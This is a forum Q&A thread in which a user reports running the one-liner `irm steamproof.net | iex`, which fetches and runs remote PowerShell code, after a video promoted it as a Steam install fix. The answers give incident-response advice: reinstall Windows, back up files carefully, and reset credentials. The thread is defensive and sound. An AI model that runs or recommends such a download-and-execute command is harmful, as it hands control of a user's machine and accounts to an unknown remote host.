I was trying to install a game from my existing library onto a separate drive, but the installation kept taking a long time and occasionally failed. I found a video suggesting that I run `irm steamproof.net | iex` in PowerShell to fix it. I ran the command without checking what it did, and it displayed a message suggesting the installation was successful.
Afterward, I learned that `irm` downloads content from a website and `iex` executes it as PowerShell code. I disconnected Wi-Fi, uninstalled the game client, removed its local files, scanned the computer with Windows Defender, signed out of all devices, and changed my passwords. Defender has not detected anything, but I'm still concerned that the script may have installed malware or exposed my accounts.
What should I do now? Do I need to reinstall Windows completely, and how can I safely preserve important work files such as AutoCAD and DWG files without carrying malware to a backup drive?
5 Answers
That command downloads whatever the website returns and immediately executes it with your PowerShell permissions. Even if the visible script looks like a Steam repair tool, running remote code this way means you have to trust both the site and anything it serves later. A clean Windows reinstall is the safest way to regain confidence, especially if the computer contains important accounts or work data.
There is no reliable way to determine from open ports or a quick antivirus scan that the machine is clean. If a full rebuild would be less costly than investigating a possible compromise, rebuilding is the sensible choice. You can try professional forensic analysis instead, but simply uninstalling the game client or deleting its folder does not undo anything else the PowerShell command may have changed.
Before reinstalling, back up only essential personal documents—not programs, installers, scripts, executables, DLLs, or unknown archives. Use a separate, trusted computer if possible, scan the backup afterward, and keep the affected machine offline. Do not assume an external drive is safe just because it was disconnected; inspect and scan it before opening files on the rebuilt system. If the files are highly sensitive, have them checked by your organization’s IT or a malware specialist.
Changing passwords was a good start, but do it from a known-clean device. Change your email password first, then other important accounts, revoke active sessions and access tokens, and enable app-based two-factor authentication where available. Pay special attention to password managers, banking, work accounts, and game accounts. A Defender scan is useful, but a clean scan cannot prove that a system running untrusted code is safe.
The pasted script appears to modify the Steam installation and download a DLL from the same service, which is unusual enough that I would not rely on its apparent harmlessness. Reinstalling Windows does not require changing the BIOS: create official Windows installation media, boot from it, delete or format the system partitions, and install Windows again. Then update Windows, reinstall applications only from official sources, and restore carefully screened personal files.
Would a normal Windows reset be enough, or should I create installation media and reinstall from scratch?